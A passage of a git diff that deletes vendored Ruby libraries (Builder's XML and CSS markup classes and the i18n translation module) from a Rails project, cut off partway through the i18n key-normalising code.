-  class CSS < BlankSlate
-
-    # Create a CSS builder.
-    #
-    # out::     Object receiving the markup.1  +out+ must respond to
-    #           <tt><<</tt>.
-    # indent::  Number of spaces used for indentation (0 implies no
-    #           indentation and no line breaks).
-    #
-    def initialize(indent=2)
-      @indent      = indent
-      @target      = []
-      @parts       = []
-      @library     = {}
-    end
-
-    def +(part)
-      _join_with_op! '+'
-      self
-    end
-
-    def >>(part)
-      _join_with_op! ''
-      self
-    end
-
-    def >(part)
-      _join_with_op! '>'
-      self
-    end
-
-    def |(part)
-      _join_with_op! ','
-      self
-    end
-
-    # Return the target of the builder
-    def target!
-      @target * ''
-    end
-
-    # Create a comment string in the output.
-    def comment!(comment_text)
-      @target << "/* #{comment_text} */\n"
-    end
-
-    def id!(arg, &block)
-      _start_container('#'+arg.to_s, nil, block_given?)
-      _css_block(block) if block
-      _unify_block
-      self
-    end
-
-    def class!(arg, &block)
-      _start_container('.'+arg.to_s, nil, block_given?)
-      _css_block(block) if block
-      _unify_block
-      self
-    end
-
-    def store!(sym, &block)
-      @library[sym] = block.to_proc
-    end
-
-    def group!(*args, &block)
-      args.each do |arg|
-        if arg.is_a?(Symbol)
-          instance_eval(&@library[arg])
-        else
-          instance_eval(&arg)
-        end
-        _text ', ' unless arg == args.last
-      end
-      if block
-        _css_block(block)
-        _unify_block
-      end
-    end
-
-    def method_missing(sym, *args, &block)
-      sym = "#{sym}:#{args.shift}" if args.first.kind_of?(Symbol)
-      if block
-        _start_container(sym, args.first)
-        _css_block(block)
-        _unify_block
-      elsif @in_block
-        _indent
-        _css_line(sym, *args)
-        _newline
-        return self
-      else
-        _start_container(sym, args.first, false)
-        _unify_block
-      end
-      self
-    end
-
-    # "Cargo culted" from Jim who also "cargo culted" it.  See xmlbase.rb.
-    def nil?
-      false
-    end
-
-    private
-    def _unify_block
-      @target << @parts * ''
-      @parts = []
-    end
-
-    def _join_with_op!(op)
-      rhs, lhs = @target.pop, @target.pop
-      @target << "#{lhs} #{op} #{rhs}"
-    end
-
-    def _text(text)
-      @parts << text
-    end
-
-    def _css_block(block)
-      _newline
-      _nested_structures(block)
-      _end_container
-      _end_block
-    end
-
-    def _end_block
-      _newline
-      _newline
-    end
-
-    def _newline
-      _text "\n"
-    end
-
-    def _indent
-      _text ' ' * @indent
-    end
-
-    def _nested_structures(block)
-      @in_block = true
-      self.instance_eval(&block)
-      @in_block = false
-    end
-
-    def _start_container(sym, atts = {}, with_bracket = true)
-      selector = sym.to_s
-      selector << ".#{atts[:class]}" if atts && atts[:class]
-      selector << '#' + "#{atts[:id]}" if atts && atts[:id]
-      @parts << "#{selector}#{with_bracket ? ' {' : ''}"
-    end
-
-    def _end_container
-      @parts << "}"
-    end
-
-    def _css_line(sym, *args)
-      _text("#{sym.to_s.gsub('_','-')}: #{args * ' '};")
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xchar.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xchar.rb
deleted file mode 100644
index 8bdbd058..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xchar.rb
+++ /dev/null
@@ -1,115 +0,0 @@
-#!/usr/bin/env ruby
-
-# The XChar library is provided courtesy of Sam Ruby (See
-# http://intertwingly.net/stories/2005/09/28/xchar.rb)
-
-# --------------------------------------------------------------------
-
-# If the Builder::XChar module is not currently defined, fail on any
-# name clashes in standard library classes.
-
-module Builder
-  def self.check_for_name_collision(klass, method_name, defined_constant=nil)
-    if klass.instance_methods.include?(method_name.to_s)
-      fail RuntimeError,
-	"Name Collision: Method '#{method_name}' is already defined in #{klass}"
-    end
-  end
-end
-
-if ! defined?(Builder::XChar)
-  Builder.check_for_name_collision(String, "to_xs")
-  Builder.check_for_name_collision(Fixnum, "xchr")
-end
-
-######################################################################
-module Builder
-
-  ####################################################################
-  # XML Character converter, from Sam Ruby:
-  # (see http://intertwingly.net/stories/2005/09/28/xchar.rb).
-  #
-  module XChar # :nodoc:
-
-    # See
-    # http://intertwingly.net/stories/2004/04/14/i18n.html#CleaningWindows
-    # for details.
-    CP1252 = {			# :nodoc:
-      128 => 8364,		# euro sign
-      130 => 8218,		# single low-9 quotation mark
-      131 =>  402,		# latin small letter f with hook
-      132 => 8222,		# double low-9 quotation mark
-      133 => 8230,		# horizontal ellipsis
-      134 => 8224,		# dagger
-      135 => 8225,		# double dagger
-      136 =>  710,		# modifier letter circumflex accent
-      137 => 8240,		# per mille sign
-      138 =>  352,		# latin capital letter s with caron
-      139 => 8249,		# single left-pointing angle quotation mark
-      140 =>  338,		# latin capital ligature oe
-      142 =>  381,		# latin capital letter z with caron
-      145 => 8216,		# left single quotation mark
-      146 => 8217,		# right single quotation mark
-      147 => 8220,		# left double quotation mark
-      148 => 8221,		# right double quotation mark
-      149 => 8226,		# bullet
-      150 => 8211,		# en dash
-      151 => 8212,		# em dash
-      152 =>  732,		# small tilde
-      153 => 8482,		# trade mark sign
-      154 =>  353,		# latin small letter s with caron
-      155 => 8250,		# single right-pointing angle quotation mark
-      156 =>  339,		# latin small ligature oe
-      158 =>  382,		# latin small letter z with caron
-      159 =>  376,		# latin capital letter y with diaeresis
-    }
-
-    # See http://www.w3.org/TR/REC-xml/#dt-chardata for details.
-    PREDEFINED = {
-      38 => '&amp;',		# ampersand
-      60 => '&lt;',		# left angle bracket
-      62 => '&gt;',		# right angle bracket
-    }
-
-    # See http://www.w3.org/TR/REC-xml/#charsets for details.
-    VALID = [
-      0x9, 0xA, 0xD,
-      (0x20..0xD7FF),
-      (0xE000..0xFFFD),
-      (0x10000..0x10FFFF)
-    ]
-  end
-
-end
-
-
-######################################################################
-# Enhance the Fixnum class with a XML escaped character conversion.
-#
-class Fixnum
-  XChar = Builder::XChar if ! defined?(XChar)
-
-  # XML escaped version of chr
-  def xchr
-    n = XChar::CP1252[self] || self
-    case n when *XChar::VALID
-      XChar::PREDEFINED[n] or (n<128 ? n.chr : "&##{n};")
-    else
-      '*'
-    end
-  end
-end
-
-
-######################################################################
-# Enhance the String class with a XML escaped character version of
-# to_s.
-#
-class String
-  # XML escaped version of to_s
-  def to_xs
-    unpack('U*').map {|n| n.xchr}.join # ASCII, UTF-8
-  rescue
-    unpack('C*').map {|n| n.xchr}.join # ISO-8859-1, WIN-1252
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb
deleted file mode 100644
index ace4b56d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlbase.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'builder/blankslate'
-
-module Builder
-
-  # Generic error for builder
-  class IllegalBlockError < RuntimeError; end
-
-  # XmlBase is a base class for building XML builders.  See
-  # Builder::XmlMarkup and Builder::XmlEvents for examples.
-  class XmlBase < BlankSlate
-
-    # Create an XML markup builder.
-    #
-    # out::     Object receiving the markup.  +out+ must respond to
-    #           <tt><<</tt>.
-    # indent::  Number of spaces used for indentation (0 implies no
-    #           indentation and no line breaks).
-    # initial:: Level of initial indentation.
-    #
-    def initialize(indent=0, initial=0)
-      @indent = indent
-      @level  = initial
-    end
-
-    # Create a tag named +sym+.  Other than the first argument which
-    # is the tag name, the arguments are the same as the tags
-    # implemented via <tt>method_missing</tt>.
-    def tag!(sym, *args, &block)
-      method_missing(sym.to_sym, *args, &block)
-    end
-
-    # Create XML markup based on the name of the method.  This method
-    # is never invoked directly, but is called for each markup method
-    # in the markup block.
-    def method_missing(sym, *args, &block)
-      text = nil
-      attrs = nil
-      sym = "#{sym}:#{args.shift}" if args.first.kind_of?(Symbol)
-      args.each do |arg|
-        case arg
-        when Hash
-          attrs ||= {}
-          attrs.merge!(arg)
-        else
-          text ||= ''
-          text << arg.to_s
-        end
-      end
-      if block
-        unless text.nil?
-          raise ArgumentError, "XmlMarkup cannot mix a text argument with a block"
-        end
-        _indent
-        _start_tag(sym, attrs)
-        _newline
-        _nested_structures(block)
-        _indent
-        _end_tag(sym)
-        _newline
-      elsif text.nil?
-        _indent
-        _start_tag(sym, attrs, true)
-        _newline
-      else
-        _indent
-        _start_tag(sym, attrs)
-        text! text
-        _end_tag(sym)
-        _newline
-      end
-      @target
-    end
-
-    # Append text to the output target.  Escape any markup.  May be
-    # used within the markup brackets as:
-    #
-    #   builder.p { |b| b.br; b.text! "HI" }   #=>  <p><br/>HI</p>
-    def text!(text)
-      _text(_escape(text))
-    end
-
-    # Append text to the output target without escaping any markup.
-    # May be used within the markup brackets as:
-    #
-    #   builder.p { |x| x << "<br/>HI" }   #=>  <p><br/>HI</p>
-    #
-    # This is useful when using non-builder enabled software that
-    # generates strings.  Just insert the string directly into the
-    # builder without changing the inserted markup.
-    #
-    # It is also useful for stacking builder objects.  Builders only
-    # use <tt><<</tt> to append to the target, so by supporting this
-    # method/operation builders can use other builders as their
-    # targets.
-    def <<(text)
-      _text(text)
-    end
-
-    # For some reason, nil? is sent to the XmlMarkup object.  If nil?
-    # is not defined and method_missing is invoked, some strange kind
-    # of recursion happens.  Since nil? won't ever be an XML tag, it
-    # is pretty safe to define it here. (Note: this is an example of
-    # cargo cult programming,
-    # cf. http://fishbowl.pastiche.org/2004/10/13/cargo_cult_programming).
-    def nil?
-      false
-    end
-
-    private
-
-    require 'builder/xchar'
-    def _escape(text)
-      text.to_xs
-    end
-
-    def _escape_quote(text)
-      _escape(text).gsub(%r{"}, '&quot;')  # " WART
-    end
-
-    def _newline
-      return if @indent == 0
-      text! "\n"
-    end
-
-    def _indent
-      return if @indent == 0 || @level == 0
-      text!(" " * (@level * @indent))
-    end
-
-    def _nested_structures(block)
-      @level += 1
-      block.call(self)
-    ensure
-      @level -= 1
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb
deleted file mode 100644
index b373e4da..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlevents.rb
+++ /dev/null
@@ -1,63 +0,0 @@
-#!/usr/bin/env ruby
-
-#--
-# Copyright 2004 by Jim Weirich (jim@weirichhouse.org).
-# All rights reserved.
-
-# Permission is granted for use, copying, modification, distribution,
-# and distribution of modified versions of this work as long as the
-# above copyright notice is included.
-#++
-
-require 'builder/xmlmarkup'
-
-module Builder
-
-  # Create a series of SAX-like XML events (e.g. start_tag, end_tag)
-  # from the markup code.  XmlEvent objects are used in a way similar
-  # to XmlMarkup objects, except that a series of events are generated
-  # and passed to a handler rather than generating character-based
-  # markup.
-  #
-  # Usage:
-  #   xe = Builder::XmlEvents.new(handler)
-  #   xe.title("HI")    # Sends start_tag/end_tag/text messages to the handler.
-  #
-  # Indentation may also be selected by providing value for the
-  # indentation size and initial indentation level.
-  #
-  #   xe = Builder::XmlEvents.new(handler, indent_size, initial_indent_level)
-  #
-  # == XML Event Handler
-  #
-  # The handler object must expect the following events.
-  #
-  # [<tt>start_tag(tag, attrs)</tt>]
-  #     Announces that a new tag has been found.  +tag+ is the name of
-  #     the tag and +attrs+ is a hash of attributes for the tag.
-  #
-  # [<tt>end_tag(tag)</tt>]
-  #     Announces that an end tag for +tag+ has been found.
-  #
-  # [<tt>text(text)</tt>]
-  #     Announces that a string of characters (+text+) has been found.
-  #     A series of characters may be broken up into more than one
-  #     +text+ call, so the client cannot assume that a single
-  #     callback contains all the text data.
-  #
-  class XmlEvents < XmlMarkup
-    def text!(text)
-      @target.text(text)
-    end
-
-    def _start_tag(sym, attrs, end_too=false)
-      @target.start_tag(sym, attrs)
-      _end_tag(sym) if end_too
-    end
-
-    def _end_tag(sym)
-      @target.end_tag(sym)
-    end
-  end
-
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb b/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb
deleted file mode 100644
index ec59dddc..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/builder-2.1.2/builder/xmlmarkup.rb
+++ /dev/null
@@ -1,328 +0,0 @@
-#!/usr/bin/env ruby
-#--
-# Copyright 2004, 2005 by Jim Weirich (jim@weirichhouse.org).
-# All rights reserved.
-
-# Permission is granted for use, copying, modification, distribution,
-# and distribution of modified versions of this work as long as the
-# above copyright notice is included.
-#++
-
-# Provide a flexible and easy to use Builder for creating XML markup.
-# See XmlBuilder for usage details.
-
-require 'builder/xmlbase'
-
-module Builder
-
-  # Create XML markup easily.  All (well, almost all) methods sent to
-  # an XmlMarkup object will be translated to the equivalent XML
-  # markup.  Any method with a block will be treated as an XML markup
-  # tag with nested markup in the block.
-  #
-  # Examples will demonstrate this easier than words.  In the
-  # following, +xm+ is an +XmlMarkup+ object.
-  #
-  #   xm.em("emphasized")             # => <em>emphasized</em>
-  #   xm.em { xmm.b("emp & bold") }   # => <em><b>emph &amp; bold</b></em>
-  #   xm.a("A Link", "href"=>"http://onestepback.org")
-  #                                   # => <a href="http://onestepback.org">A Link</a>
-  #   xm.div { br }                    # => <div><br/></div>
-  #   xm.target("name"=>"compile", "option"=>"fast")
-  #                                   # => <target option="fast" name="compile"\>
-  #                                   # NOTE: order of attributes is not specified.
-  #
-  #   xm.instruct!                   # <?xml version="1.0" encoding="UTF-8"?>
-  #   xm.html {                      # <html>
-  #     xm.head {                    #   <head>
-  #       xm.title("History")        #     <title>History</title>
-  #     }                            #   </head>
-  #     xm.body {                    #   <body>
-  #       xm.comment! "HI"           #     <! -- HI -->
-  #       xm.h1("Header")            #     <h1>Header</h1>
-  #       xm.p("paragraph")          #     <p>paragraph</p>
-  #     }                            #   </body>
-  #   }                              # </html>
-  #
-  # == Notes:
-  #
-  # * The order that attributes are inserted in markup tags is
-  #   undefined.
-  #
-  # * Sometimes you wish to insert text without enclosing tags.  Use
-  #   the <tt>text!</tt> method to accomplish this.
-  #
-  #   Example:
-  #
-  #     xm.div {                          # <div>
-  #       xm.text! "line"; xm.br          #   line<br/>
-  #       xm.text! "another line"; xmbr   #    another line<br/>
-  #     }                                 # </div>
-  #
-  # * The special XML characters <, >, and & are converted to &lt;,
-  #   &gt; and &amp; automatically.  Use the <tt><<</tt> operation to
-  #   insert text without modification.
-  #
-  # * Sometimes tags use special characters not allowed in ruby
-  #   identifiers.  Use the <tt>tag!</tt> method to handle these
-  #   cases.
-  #
-  #   Example:
-  #
-  #     xml.tag!("SOAP:Envelope") { ... }
-  #
-  #   will produce ...
-  #
-  #     <SOAP:Envelope> ... </SOAP:Envelope>"
-  #
-  #   <tt>tag!</tt> will also take text and attribute arguments (after
-  #   the tag name) like normal markup methods.  (But see the next
-  #   bullet item for a better way to handle XML namespaces).
-  #
-  # * Direct support for XML namespaces is now available.  If the
-  #   first argument to a tag call is a symbol, it will be joined to
-  #   the tag to produce a namespace:tag combination.  It is easier to
-  #   show this than describe it.
-  #
-  #     xml.SOAP :Envelope do ... end
-  #
-  #   Just put a space before the colon in a namespace to produce the
-  #   right form for builder (e.g. "<tt>SOAP:Envelope</tt>" =>
-  #   "<tt>xml.SOAP :Envelope</tt>")
-  #
-  # * XmlMarkup builds the markup in any object (called a _target_)
-  #   that accepts the <tt><<</tt> method.  If no target is given,
-  #   then XmlMarkup defaults to a string target.
-  #
-  #   Examples:
-  #
-  #     xm = Builder::XmlMarkup.new
-  #     result = xm.title("yada")
-  #     # result is a string containing the markup.
-  #
-  #     buffer = ""
-  #     xm = Builder::XmlMarkup.new(buffer)
-  #     # The markup is appended to buffer (using <<)
-  #
-  #     xm = Builder::XmlMarkup.new(STDOUT)
-  #     # The markup is written to STDOUT (using <<)
-  #
-  #     xm = Builder::XmlMarkup.new
-  #     x2 = Builder::XmlMarkup.new(:target=>xm)
-  #     # Markup written to +x2+ will be send to +xm+.
-  #
-  # * Indentation is enabled by providing the number of spaces to
-  #   indent for each level as a second argument to XmlBuilder.new.
-  #   Initial indentation may be specified using a third parameter.
-  #
-  #   Example:
-  #
-  #     xm = Builder.new(:indent=>2)
-  #     # xm will produce nicely formatted and indented XML.
-  #
-  #     xm = Builder.new(:indent=>2, :margin=>4)
-  #     # xm will produce nicely formatted and indented XML with 2
-  #     # spaces per indent and an over all indentation level of 4.
-  #
-  #     builder = Builder::XmlMarkup.new(:target=>$stdout, :indent=>2)
-  #     builder.name { |b| b.first("Jim"); b.last("Weirich) }
-  #     # prints:
-  #     #     <name>
-  #     #       <first>Jim</first>
-  #     #       <last>Weirich</last>
-  #     #     </name>
-  #
-  # * The instance_eval implementation which forces self to refer to
-  #   the message receiver as self is now obsolete.  We now use normal
-  #   block calls to execute the markup block.  This means that all
-  #   markup methods must now be explicitly send to the xml builder.
-  #   For instance, instead of
-  #
-  #      xml.div { strong("text") }
-  #
-  #   you need to write:
-  #
-  #      xml.div { xml.strong("text") }
-  #
-  #   Although more verbose, the subtle change in semantics within the
-  #   block was found to be prone to error.  To make this change a
-  #   little less cumbersome, the markup block now gets the markup
-  #   object sent as an argument, allowing you to use a shorter alias
-  #   within the block.
-  #
-  #   For example:
-  #
-  #     xml_builder = Builder::XmlMarkup.new
-  #     xml_builder.div { |xml|
-  #       xml.stong("text")
-  #     }
-  #
-  class XmlMarkup < XmlBase
-
-    # Create an XML markup builder.  Parameters are specified by an
-    # option hash.
-    #
-    # :target=><em>target_object</em>::
-    #    Object receiving the markup.  +out+ must respond to the
-    #    <tt><<</tt> operator.  The default is a plain string target.
-    #
-    # :indent=><em>indentation</em>::
-    #    Number of spaces used for indentation.  The default is no
-    #    indentation and no line breaks.
-    #
-    # :margin=><em>initial_indentation_level</em>::
-    #    Amount of initial indentation (specified in levels, not
-    #    spaces).
-    #
-    # :escape_attrs=><b>OBSOLETE</em>::
-    #    The :escape_attrs option is no longer supported by builder
-    #    (and will be quietly ignored).  String attribute values are
-    #    now automatically escaped.  If you need unescaped attribute
-    #    values (perhaps you are using entities in the attribute
-    #    values), then give the value as a Symbol.  This allows much
-    #    finer control over escaping attribute values.
-    #
-    def initialize(options={})
-      indent = options[:indent] || 0
-      margin = options[:margin] || 0
-      super(indent, margin)
-      @target = options[:target] || ""
-    end
-
-    # Return the target of the builder.
-    def target!
-      @target
-    end
-
-    def comment!(comment_text)
-      _ensure_no_block block_given?
-      _special("<!-- ", " -->", comment_text, nil)
-    end
-
-    # Insert an XML declaration into the XML markup.
-    #
-    # For example:
-    #
-    #   xml.declare! :ELEMENT, :blah, "yada"
-    #       # => <!ELEMENT blah "yada">
-    def declare!(inst, *args, &block)
-      _indent
-      @target << "<!#{inst}"
-      args.each do |arg|
-        case arg
-        when String
-          @target << %{ "#{arg}"} # " WART
-        when Symbol
-          @target << " #{arg}"
-        end
-      end
-      if block_given?
-        @target << " ["
-        _newline
-        _nested_structures(block)
-        @target << "]"
-      end
-      @target << ">"
-      _newline
-    end
-
-    # Insert a processing instruction into the XML markup.  E.g.
-    #
-    # For example:
-    #
-    #    xml.instruct!
-    #        #=> <?xml version="1.0" encoding="UTF-8"?>
-    #    xml.instruct! :aaa, :bbb=>"ccc"
-    #        #=> <?aaa bbb="ccc"?>
-    #
-    def instruct!(directive_tag=:xml, attrs={})
-      _ensure_no_block block_given?
-      if directive_tag == :xml
-        a = { :version=>"1.0", :encoding=>"UTF-8" }
-        attrs = a.merge attrs
-      end
-      _special(
-      "<?#{directive_tag}",
-      "?>",
-      nil,
-      attrs,
-      [:version, :encoding, :standalone])
-    end
-
-    # Insert a CDATA section into the XML markup.
-    #
-    # For example:
-    #
-    #    xml.cdata!("text to be included in cdata")
-    #        #=> <![CDATA[text to be included in cdata]]>
-    #
-    def cdata!(text)
-      _ensure_no_block block_given?
-      _special("<![CDATA[", "]]>", text, nil)
-    end
-
-    private
-
-    # NOTE: All private methods of a builder object are prefixed when
-    # a "_" character to avoid possible conflict with XML tag names.
-
-    # Insert text directly in to the builder's target.
-    def _text(text)
-      @target << text
-    end
-
-    # Insert special instruction.
-    def _special(open, close, data=nil, attrs=nil, order=[])
-      _indent
-      @target << open
-      @target << data if data
-      _insert_attributes(attrs, order) if attrs
-      @target << close
-      _newline
-    end
-
-    # Start an XML tag.  If <tt>end_too</tt> is true, then the start
-    # tag is also the end tag (e.g.  <br/>
-    def _start_tag(sym, attrs, end_too=false)
-      @target << "<#{sym}"
-      _insert_attributes(attrs)
-      @target << "/" if end_too
-      @target << ">"
-    end
-
-    # Insert an ending tag.
-    def _end_tag(sym)
-      @target << "</#{sym}>"
-    end
-
-    # Insert the attributes (given in the hash).
-    def _insert_attributes(attrs, order=[])
-      return if attrs.nil?
-      order.each do |k|
-        v = attrs[k]
-        @target << %{ #{k}="#{_attr_value(v)}"} if v # " WART
-      end
-      attrs.each do |k, v|
-        @target << %{ #{k}="#{_attr_value(v)}"} unless order.member?(k) # " WART
-      end
-    end
-
-    def _attr_value(value)
-      case value
-      when Symbol
-        value.to_s
-      else
-        _escape_quote(value.to_s)
-      end
-    end
-
-    def _ensure_no_block(got_block)
-      if got_block
-        fail IllegalBlockError,
-        "Blocks are not allowed on XML instructions"
-      end
-    end
-
-  end
-
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n.rb
deleted file mode 100755
index 346681e7..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.4.1/i18n.rb
+++ /dev/null
@@ -1,322 +0,0 @@
-# encoding: utf-8
-
-# Authors::   Sven Fuchs (http://www.artweb-design.de),
-#             Joshua Harvey (http://www.workingwithrails.com/person/759-joshua-harvey),
-#             Stephan Soller (http://www.arkanis-development.de/),
-#             Saimon Moore (http://saimonmoore.net),
-#             Matt Aimonetti (http://railsontherun.com/)
-# Copyright:: Copyright (c) 2008 The Ruby i18n Team
-# License::   MIT
-require 'i18n/exceptions'
-require 'i18n/core_ext/string/interpolate'
-
-module I18n
-  autoload :Backend, 'i18n/backend'
-  autoload :Config,  'i18n/config'
-  autoload :Gettext, 'i18n/gettext'
-  autoload :Locale,  'i18n/locale'
-
-  class << self
-    # Gets I18n configuration object.
-    def config
-      Thread.current[:i18n_config] ||= I18n::Config.new
-    end
-
-    # Sets I18n configuration object.
-    def config=(value)
-      Thread.current[:i18n_config] = value
-    end
-
-    # Write methods which delegates to the configuration object
-    %w(locale backend default_locale available_locales default_separator
-      exception_handler load_path).each do |method|
-      module_eval <<-DELEGATORS, __FILE__, __LINE__ + 1
-        def #{method}
-          config.#{method}
-        end
-
-        def #{method}=(value)
-          config.#{method} = (value)
-        end
-      DELEGATORS
-    end
-
-    # Tells the backend to reload translations. Used in situations like the
-    # Rails development environment. Backends can implement whatever strategy
-    # is useful.
-    def reload!
-      config.backend.reload!
-    end
-
-    # Translates, pluralizes and interpolates a given key using a given locale,
-    # scope, and default, as well as interpolation values.
-    #
-    # *LOOKUP*
-    #
-    # Translation data is organized as a nested hash using the upper-level keys
-    # as namespaces. <em>E.g.</em>, ActionView ships with the translation:
-    # <tt>:date => {:formats => {:short => "%b %d"}}</tt>.
-    #
-    # Translations can be looked up at any level of this hash using the key argument
-    # and the scope option. <em>E.g.</em>, in this example <tt>I18n.t :date</tt>
-    # returns the whole translations hash <tt>{:formats => {:short => "%b %d"}}</tt>.
-    #
-    # Key can be either a single key or a dot-separated key (both Strings and Symbols
-    # work). <em>E.g.</em>, the short format can be looked up using both:
-    #   I18n.t 'date.formats.short'
-    #   I18n.t :'date.formats.short'
-    #
-    # Scope can be either a single key, a dot-separated key or an array of keys
-    # or dot-separated keys. Keys and scopes can be combined freely. So these
-    # examples will all look up the same short date format:
-    #   I18n.t 'date.formats.short'
-    #   I18n.t 'formats.short', :scope => 'date'
-    #   I18n.t 'short', :scope => 'date.formats'
-    #   I18n.t 'short', :scope => %w(date formats)
-    #
-    # *INTERPOLATION*
-    #
-    # Translations can contain interpolation variables which will be replaced by
-    # values passed to #translate as part of the options hash, with the keys matching
-    # the interpolation variable names.
-    #
-    # <em>E.g.</em>, with a translation <tt>:foo => "foo %{bar}"</tt> the option
-    # value for the key +bar+ will be interpolated into the translation:
-    #   I18n.t :foo, :bar => 'baz' # => 'foo baz'
-    #
-    # *PLURALIZATION*
-    #
-    # Translation data can contain pluralized translations. Pluralized translations
-    # are arrays of singluar/plural versions of translations like <tt>['Foo', 'Foos']</tt>.
-    #
-    # Note that <tt>I18n::Backend::Simple</tt> only supports an algorithm for English
-    # pluralization rules. Other algorithms can be supported by custom backends.
-    #
-    # This returns the singular version of a pluralized translation:
-    #   I18n.t :foo, :count => 1 # => 'Foo'
-    #
-    # These both return the plural version of a pluralized translation:
-    #   I18n.t :foo, :count => 0 # => 'Foos'
-    #   I18n.t :foo, :count => 2 # => 'Foos'
-    #
-    # The <tt>:count</tt> option can be used both for pluralization and interpolation.
-    # <em>E.g.</em>, with the translation
-    # <tt>:foo => ['%{count} foo', '%{count} foos']</tt>, count will
-    # be interpolated to the pluralized translation:
-    #   I18n.t :foo, :count => 1 # => '1 foo'
-    #
-    # *DEFAULTS*
-    #
-    # This returns the translation for <tt>:foo</tt> or <tt>default</tt> if no translation was found:
-    #   I18n.t :foo, :default => 'default'
-    #
-    # This returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt> if no
-    # translation for <tt>:foo</tt> was found:
-    #   I18n.t :foo, :default => :bar
-    #
-    # Returns the translation for <tt>:foo</tt> or the translation for <tt>:bar</tt>
-    # or <tt>default</tt> if no translations for <tt>:foo</tt> and <tt>:bar</tt> were found.
-    #   I18n.t :foo, :default => [:bar, 'default']
-    #
-    # *BULK LOOKUP*
-    #
-    # This returns an array with the translations for <tt>:foo</tt> and <tt>:bar</tt>.
-    #   I18n.t [:foo, :bar]
-    #
-    # Can be used with dot-separated nested keys:
-    #   I18n.t [:'baz.foo', :'baz.bar']
-    #
-    # Which is the same as using a scope option:
-    #   I18n.t [:foo, :bar], :scope => :baz
-    #
-    # *LAMBDAS*
-    #
-    # Both translations and defaults can be given as Ruby lambdas. Lambdas will be
-    # called and passed the key and options.
-    #
-    # E.g. assuming the key <tt>:salutation</tt> resolves to:
-    #   lambda { |key, options| options[:gender] == 'm' ? "Mr. %{options[:name]}" : "Mrs. %{options[:name]}" }
-    #
-    # Then <tt>I18n.t(:salutation, :gender => 'w', :name => 'Smith') will result in "Mrs. Smith".
-    #
-    # It is recommended to use/implement lambdas in an "idempotent" way. E.g. when
-    # a cache layer is put in front of I18n.translate it will generate a cache key
-    # from the argument values passed to #translate. Therefor your lambdas should
-    # always return the same translations/values per unique combination of argument
-    # values.
-    def translate(*args)
-      options = args.pop if args.last.is_a?(Hash)
-      key     = args.shift
-      locale  = options && options.delete(:locale) || config.locale
-      raises  = options && options.delete(:raise)
-      config.backend.translate(locale, key, options || {})
-    rescue I18n::ArgumentError => exception
-      raise exception if raises
-      handle_exception(exception, locale, key, options)
-    end
-    alias :t :translate
-
-    def translate!(key, options = {})
-      translate(key, options.merge( :raise => true ))
-    end
-    alias :t! :translate!
-
-    # Transliterates UTF-8 characters to ASCII. By default this method will
-    # transliterate only Latin strings to an ASCII approximation:
-    #
-    #    I18n.transliterate("Ærøskøbing")
-    #    # => "AEroskobing"
-    #
-    #    I18n.transliterate("日本語")
-    #    # => "???"
-    #
-    # It's also possible to add support for per-locale transliterations. I18n
-    # expects transliteration rules to be stored at
-    # <tt>i18n.transliterate.rule</tt>.
-    #
-    # Transliteration rules can either be a Hash or a Proc. Procs must accept a
-    # single string argument. Hash rules inherit the default transliteration
-    # rules, while Procs do not.
-    #
-    # *Examples*
-    #
-    # Setting a Hash in <locale>.yml:
-    #
-    #    i18n:
-    #      transliterate:
-    #        rule:
-    #          ü: "ue"
-    #          ö: "oe"
-    #
-    # Setting a Hash using Ruby:
-    #
-    #     store_translations(:de, :i18n => {
-    #       :transliterate => {
-    #         :rule => {
-    #           "ü" => "ue",
-    #           "ö" => "oe"
-    #         }
-    #       }
-    #     )
-    #
-    # Setting a Proc:
-    #
-    #     translit = lambda {|string| MyTransliterator.transliterate(string) }
-    #     store_translations(:xx, :i18n => {:transliterate => {:rule => translit})
-    #
-    # Transliterating strings:
-    #
-    #     I18n.locale = :en
-    #     I18n.transliterate("Jürgen") # => "Jurgen"
-    #     I18n.locale = :de
-    #     I18n.transliterate("Jürgen") # => "Juergen"
-    #     I18n.transliterate("Jürgen", :locale => :en) # => "Jurgen"
-    #     I18n.transliterate("Jürgen", :locale => :de) # => "Juergen"
-    def transliterate(*args)
-      options      = args.pop if args.last.is_a?(Hash)
-      key          = args.shift
-      locale       = options && options.delete(:locale) || config.locale
-      raises       = options && options.delete(:raise)
-      replacement  = options && options.delete(:replacement)
-      config.backend.transliterate(locale, key, replacement)
-    rescue I18n::ArgumentError => exception
-      raise exception if raises
-      handle_exception(exception, locale, key, options)
-    end
-
-    # Localizes certain objects, such as dates and numbers to local formatting.
-    def localize(object, options = {})
-      locale = options.delete(:locale) || config.locale
-      format = options.delete(:format) || :default
-      config.backend.localize(locale, object, format, options)
-    end
-    alias :l :localize
-
-    # Executes block with given I18n.locale set.
-    def with_locale(tmp_locale = nil)
-      if tmp_locale
-        current_locale = self.locale
-        self.locale    = tmp_locale
-      end
-      yield
-    ensure
-      self.locale = current_locale if tmp_locale
-    end
-
-
-    # Merges the given locale, key and scope into a single array of keys.
-    # Splits keys that contain dots into multiple keys. Makes sure all
-    # keys are Symbols.
-    def normalize_keys(locale, key, scope, separator = nil)
-      separator ||= I18n.default_separator
-
-      keys = []
-      keys.concat normalize_key(locale, separator)
